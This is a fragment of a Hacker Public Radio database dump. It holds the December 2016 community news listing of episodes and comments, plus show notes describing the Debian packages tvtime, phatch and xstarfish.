href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2185\" target=\"_blank\">2185</a></strong></td>\n    <td>Fri</td>\n    <td>2016-12-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2185\" target=\"_blank\">Soldering a Soldering Fan</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2186\" target=\"_blank\">2186</a></strong></td>\n    <td>Mon</td>\n    <td>2016-12-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2186\" target=\"_blank\">Baking Yule Bread</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\" target=\"_blank\">Inscius</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2187\" target=\"_blank\">2187</a></strong></td>\n    <td>Tue</td>\n    <td>2016-12-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2187\" target=\"_blank\">The Toshiba Libretto 100ct</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2188\" target=\"_blank\">2188</a></strong></td>\n    <td>Wed</td>\n    <td>2016-12-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2188\" target=\"_blank\">Art Appreciation</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2189\" target=\"_blank\">2189</a></strong></td>\n    <td>Thu</td>\n    <td>2016-12-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2189\" target=\"_blank\">Working Amateur Radio Satellites</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2190\" target=\"_blank\">2190</a></strong></td>\n    <td>Fri</td>\n    <td>2016-12-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2190\" target=\"_blank\">fucking botnets how do they work?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2191\" target=\"_blank\">2191</a></strong></td>\n    <td>Mon</td>\n    <td>2016-12-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2191\" target=\"_blank\">Building a Soundboard Android App with App Inventor</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2192\" target=\"_blank\">2192</a></strong></td>\n    <td>Tue</td>\n    <td>2016-12-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2192\" target=\"_blank\">Fun with Oscilloscopes</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2193\" target=\"_blank\">2193</a></strong></td>\n    <td>Wed</td>\n    <td>2016-12-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2193\" target=\"_blank\">a clean podcast with no swearing</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2194\" target=\"_blank\">2194</a></strong></td>\n    <td>Thu</td>\n    <td>2016-12-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2194\" target=\"_blank\">The low-down on what\'s up in the Taiwan Strait.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2195\" target=\"_blank\">2195</a></strong></td>\n    <td>Fri</td>\n    <td>2016-12-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2195\" target=\"_blank\">All you need to know when uploading a show</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-December/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 68 comments in total.</p>\n<p>There are 16 comments on\n9 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1998#comments\" target=\"_blank\">hpr1998</a></strong>\n(2016-03-30) \"<em>Homebrewing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=1998#3\" target=\"_blank\">Comment 3</a>:\nm1rr0r5h4d35 on 2016-12-27:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2121#comments\" target=\"_blank\">hpr2121</a></strong>\n(2016-09-19) \"<em>Dark Cults Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2121#4\" target=\"_blank\">Comment 4</a>:\nm1rr0r5h4d35 on 2016-12-04:\n\"Loved This\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2134#comments\" target=\"_blank\">hpr2134</a></strong>\n(2016-10-06) \"<em>Shutdown Sequence Systemd</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2134#1\" target=\"_blank\">Comment 1</a>:\nCPrompt^ on 2016-12-18:\n\"Great explanation!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2139#comments\" target=\"_blank\">hpr2139</a></strong>\n(2016-10-13) \"<em>From Org Mode to LaTeX Beamer to PDF</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.org/eps.php?id=2139#2\" target=\"_blank\">Comment 2</a>:\nMichael on 2016-12-20:\n\"&quot;Beamer&quot; vs. Projektor\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2145#comments\" target=\"_blank\">hpr2145</a></strong>\n(2016-10-21) \"<em>Daily notes and todo list with markdown</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2145#5\" target=\"_blank\">Comment 5</a>:\nnorrist on 2016-12-01:\n\"&quot;2*/md&quot;\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2145#6\" target=\"_blank\">Comment 6</a>:\nMatt on 2016-12-03:\n\"of course!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2161#comments\" target=\"_blank\">hpr2161</a></strong>\n(2016-11-14) \"<em>What\'s in my freezer?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\" target=\"_blank\">Inscius</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2161#3\" target=\"_blank\">Comment 3</a>:\nInscius on 2016-12-06:\n\"Thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2165#comments\" target=\"_blank\">hpr2165</a></strong>\n(2016-11-18) \"<em>Get the most out of your commute with these great audio suggestions.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2165#1\" target=\"_blank\">Comment 1</a>:\nnjulian on 2016-12-29:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2172#comments\" target=\"_blank\">hpr2172</a></strong>\n(2016-11-29) \"<em>Dutch Blitz Table Top Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2172#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2016-12-05:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2172#2\" target=\"_blank\">Comment 2</a>:\nSteve on 2016-12-06:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2173#comments\" target=\"_blank\">hpr2173</a></strong>\n(2016-11-30) \"<em>Driving a Blinkt! as an IoT device</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2173#1\" target=\"_blank\">Comment 1</a>:\nJonathan Kulp on 2016-12-01:\n\"You light up your life\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2173#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-12-01:\n\"It worked!!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2173#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2016-12-03:\n\"Twinkly Lights and MQTT\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2173#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-12-03:\n\"Re: Twinkly Lights and MQTT\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2173#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2016-12-03:\n\"MQTT and hardware monitoring\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2173#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2016-12-04:\n\"MQTT uses\"</li></ul><br/>\n</li></ul>\n<p>There are 52 comments on 14 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2176#comments\" target=\"_blank\">hpr2176</a></strong>\n(2016-12-05) \"<em>HPR Community News for November 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2176#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-12-05:\n\"Dioder\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2176#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2016-12-05:\n\"On the purpose of those XEPs\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2176#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2016-12-05:\n\"Arousing regular expressions\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2176#4\" target=\"_blank\">Comment 4</a>:\nSteve on 2016-12-06:\n\"Ham Radio Topics\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2177#comments\" target=\"_blank\">hpr2177</a></strong>\n(2016-12-06) \"<em>Knowledge Interconnection, the thai express hack</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2016-12-05:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#2\" target=\"_blank\">Comment 2</a>:\nShortFatBaldGuy on 2016-12-06:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2016-12-06:\n\"This show is correctly flagged as Explicit\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#4\" target=\"_blank\">Comment 4</a>:\nShortFatBaldGuy on 2016-12-06:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2016-12-06:\n\"Tags are not visable\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#6\" target=\"_blank\">Comment 6</a>:\nKen Fallon on 2016-12-06:\n\"Complaints are welcome\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#7\" target=\"_blank\">Comment 7</a>:\nKen Fallon on 2016-12-07:\n\"Site and Feeds updated\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#8\" target=\"_blank\">Comment 8</a>:\nCheeto4493 on 2016-12-08:\n\"Add explicit to title?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#9\" target=\"_blank\">Comment 9</a>:\nKen Fallon Janitor  on 2016-12-08:\n\"Technically yes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2177#10\" target=\"_blank\">Comment 10</a>:\nKen Fallon Host 30 on 2016-12-08:\n\"I object \"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2179#comments\" target=\"_blank\">hpr2179</a></strong>\n(2016-12-08) \"<em>Mail to myself@myfirstemployment, Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2179#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2016-12-13:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2179#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2016-12-15:\n\"Re: protos in production\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2181#comments\" target=\"_blank\">hpr2181</a></strong>\n(2016-12-12) \"<em>Install OpenBSD from Linux using Grub</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2181#1\" target=\"_blank\">Comment 1</a>:\nsigflup on 2016-11-19:\n\"openbsd!!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2182#comments\" target=\"_blank\">hpr2182</a></strong>\n(2016-12-13) \"<em>why say GNU/Linux ?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#1\" target=\"_blank\">Comment 1</a>:\nmackrackit on 2016-12-12:\n\"Family Friendly \"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2016-12-12:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#3\" target=\"_blank\">Comment 3</a>:\n0xf10e on 2016-12-12:\n\"Three minutes of obscenities necessary?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2016-12-13:\n\"HPR is not family frendly but ....\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2016-12-13:\n\"He will reply later\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#6\" target=\"_blank\">Comment 6</a>:\npd on 2016-12-13:\n\"Waste of Time\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#7\" target=\"_blank\">Comment 7</a>:\ngmail blocking on 2016-12-13:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#8\" target=\"_blank\">Comment 8</a>:\nspaceman on 2016-12-13:\n\"reply from spaceman\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#9\" target=\"_blank\">Comment 9</a>:\ndavidWHITMAN on 2016-12-14:\n\"Spaceman!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#10\" target=\"_blank\">Comment 10</a>:\nFrank on 2016-12-14:\n\"Just Rude for the Sake of Rude\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#11\" target=\"_blank\">Comment 11</a>:\nDavid L. Willson on 2016-12-14:\n\"hilarious\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#12\" target=\"_blank\">Comment 12</a>:\nKen Fallon on 2016-12-14:\n\"Reposting from fragdev\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#13\" target=\"_blank\">Comment 13</a>:\nspaceman on 2016-12-16:\n\"RE: Just Rude for the Sake of Rude\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#14\" target=\"_blank\">Comment 14</a>:\nKen Fallon on 2016-12-17:\n\"HPR About page\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#15\" target=\"_blank\">Comment 15</a>:\nspaceman on 2016-12-18:\n\"re:re:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2183#comments\" target=\"_blank\">hpr2183</a></strong>\n(2016-12-14) \"<em>Data Privacy: Farlands or bust</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill \"NFMZ1\" Miller</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2183#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-12-15:\n\"I have to disagree\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2184#comments\" target=\"_blank\">hpr2184</a></strong>\n(2016-12-15) \"<em>Gnu Awk - Part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2184#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2016-12-14:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2184#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2016-12-15:\n\":re Lots of useful info\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2187#comments\" target=\"_blank\">hpr2187</a></strong>\n(2016-12-20) \"<em>The Toshiba Libretto 100ct</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2187#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2016-12-21:\n\"Windows 98 Updates\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2187#2\" target=\"_blank\">Comment 2</a>:\nm1rr0r5h4d35 on 2016-12-27:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2187#3\" target=\"_blank\">Comment 3</a>:\nSteve on 2016-12-28:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2189#comments\" target=\"_blank\">hpr2189</a></strong>\n(2016-12-22) \"<em>Working Amateur Radio Satellites</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2189#1\" target=\"_blank\">Comment 1</a>:\nspaceman on 2016-12-24:\n\"i love your kid\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2191#comments\" target=\"_blank\">hpr2191</a></strong>\n(2016-12-26) \"<em>Building a Soundboard Android App with App Inventor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2191#1\" target=\"_blank\">Comment 1</a>:\nspaceman on 2016-12-26:\n\"free software\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2191#2\" target=\"_blank\">Comment 2</a>:\ndroops on 2016-12-30:\n\"Best Tool\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2192#comments\" target=\"_blank\">hpr2192</a></strong>\n(2016-12-27) \"<em>Fun with Oscilloscopes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2192#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2016-12-28:\n\"Ha!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2193#comments\" target=\"_blank\">hpr2193</a></strong>\n(2016-12-28) \"<em>a clean podcast with no swearing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2193#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-12-27:\n\"HPR About Page\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2193#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2016-12-28:\n\"Points\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2193#3\" target=\"_blank\">Comment 3</a>:\nMatthew Jones on 2016-12-28:\n\"Wtf? \"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2194#comments\" target=\"_blank\">hpr2194</a></strong>\n(2016-12-29) \"<em>The low-down on what\'s up in the Taiwan Strait.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-12-16:\n\"First repercussions?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-12-29:\n\"Fantastic\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#3\" target=\"_blank\">Comment 3</a>:\nClinton Roy on 2016-12-29:\n\"Outstanding!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#4\" target=\"_blank\">Comment 4</a>:\nb-yeezi on 2016-12-29:\n\"Informative history lesson\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2016-12-31:\n\"Wow\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2195#comments\" target=\"_blank\">hpr2195</a></strong>\n(2016-12-30) \"<em>All you need to know when uploading a show</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2195#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-12-29:\n\"Text source\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2195#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2016-12-29:\n\"Correction: Text source\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1906,'2015-11-23','Apt Spelunking 2: tvtime, phatch, and xstarfish',1068,'Windigo digs through his software repositories and finds another couple of gems','<p>\r\n	Welcome to the another episode of apt spelunking! If you missed the first\r\n	episode, I should explain. Apt spelunking is the act of aimlessly searching\r\n	through your distribution\'s software repositories, and picking out the gems\r\n	that you find. I call it apt spelunking because I use Debian, which uses the\r\n	apt packaging format.\r\n</p>\r\n<p>\r\n	Let\'s jump into the first package: tvtime.\r\n</p>\r\n<h2>\r\n	tvtime\r\n</h2>\r\n<p><a href=\"https://tvtime.sourceforge.net/\">https://tvtime.sourceforge.net/</a></p>\r\n\r\n<p>\r\n	The package tvtime is a simple one, but it does what it does very well. tvtime\r\n	interfaces with a TV tuner - specialized hardware that allows your computer to\r\n	process analog television signals, via coaxial or RCA video cables. If you have\r\n	this hardware, usually an expansion card or USB peripheral, tvtime allows you to\r\n	use your computer as an analog television.\r\n</p>\r\n<p>\r\n	tvtime binds to the card of your choosing, allows you to switch between NTSC and\r\n	PAL modes (NTSC is what I use, that being the American standard), and shows you\r\n	a wonderfully grainy video. It has filters that can help smooth out the image a\r\n	bit, but it\'s still an analog video.\r\n</p>\r\n<p>\r\n	tvtime is video only, so you need to use something else to handle the audio of\r\n	whatever you are hooking up. Often this is done by the hardware tv tuner\r\n	somehow; my PCI card tuner has a 3.5mm jack that offloads any sound received\r\n	over the coaxial wire, and I patch that into my sound card. RCA cables have\r\n	separate wires for audio, and I plug those into my sound card via a converter\r\n	cable.\r\n</p>\r\n<p>\r\n	I have used tvtime to hook up videogame consoles, VCRs, and older computers like\r\n	the TRS-80. It\'s helped me to defeat Eternal Darkness, an old GameCube game that\r\n	is still worth a look, and it\'s allowed me to digitize old VHS tapes we have\r\n	lying around. More on that in another episode.\r\n</p>\r\n<p>\r\n	It is a fantastic alternative to keeping an older analog TV around. If you have\r\n	older equipment that needs to dump analog video somewhere, tvtime and a hardware\r\n	tuner makes for a great setup.\r\n</p>\r\n<h2>\r\n	phatch</h2>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Phatch\">https://en.wikipedia.org/wiki/Phatch</a></p>\r\n\r\n<p>\r\n	This absurdly spelled program is incredibly good at what it does. Phatch, some\r\n	sort of unholy combination of \"photo\" and \"batch\", is a GUI interface for\r\n	assembling chains of actions to manipulate image files.\r\n</p>\r\n<p>\r\n	I use this program for web development to save time when creating static photo\r\n	galleries or other types of images with similar constraints.\r\n</p>\r\n<p>\r\n	To use phatch, you assemble a set of operations (phatch refers to these as\r\n	\"actions\") in an ordered \"action list\". I\'ll use my gallery thumbnail action\r\n	list as an example.\r\n</p>\r\n<p>\r\n	There are only two actions in my thumbnail action list: \"fit\", and \"save\". Each\r\n	action has a set of predefined parameters and options that let you tweak what\r\n	happens to your files. The \"fit\" action resizes an image without goofing up the\r\n	aspect ratio. You give it a box to fit the image in, and it fits it fully into\r\n	that box and cuts off any extra edges. The most important parameters for this\r\n	action are canvas width, and canvas height - which tells phatch how big the box\r\n	is. The save action has parameters that let you set which image format to use,\r\n	which folder to save to, and even what to name the file. For my thumbnails, I\r\n	have it use the original filename, and append a \"_t\".\r\n</p>\r\n<p>\r\n	Once you have your action list together, you can tell phatch to run on an entire\r\n	directory and include or exclude different file types.\r\n</p>\r\n<p>\r\n	There is much, much more to phatch than just resizing images. Sounds like\r\n	another episode idea… anyhow, moving on!\r\n</p>\r\n<h2>\r\n	xstarfish\r\n</h2>\r\n<p>\r\n<a href=\"https://packages.debian.org/hu/jessie/xstarfish\">https://packages.debian.org/hu/jessie/xstarfish</a>\r\n</p>\r\n<p>\r\n	I left xstarfish until the end, because it\'s so much fun and so very, very\r\n	weird. xstarfish generates a random, tileable background that can be dumped to\r\n	a file, or assigned directly to the X display of your choice.\r\n</p>\r\n<p>\r\n	It 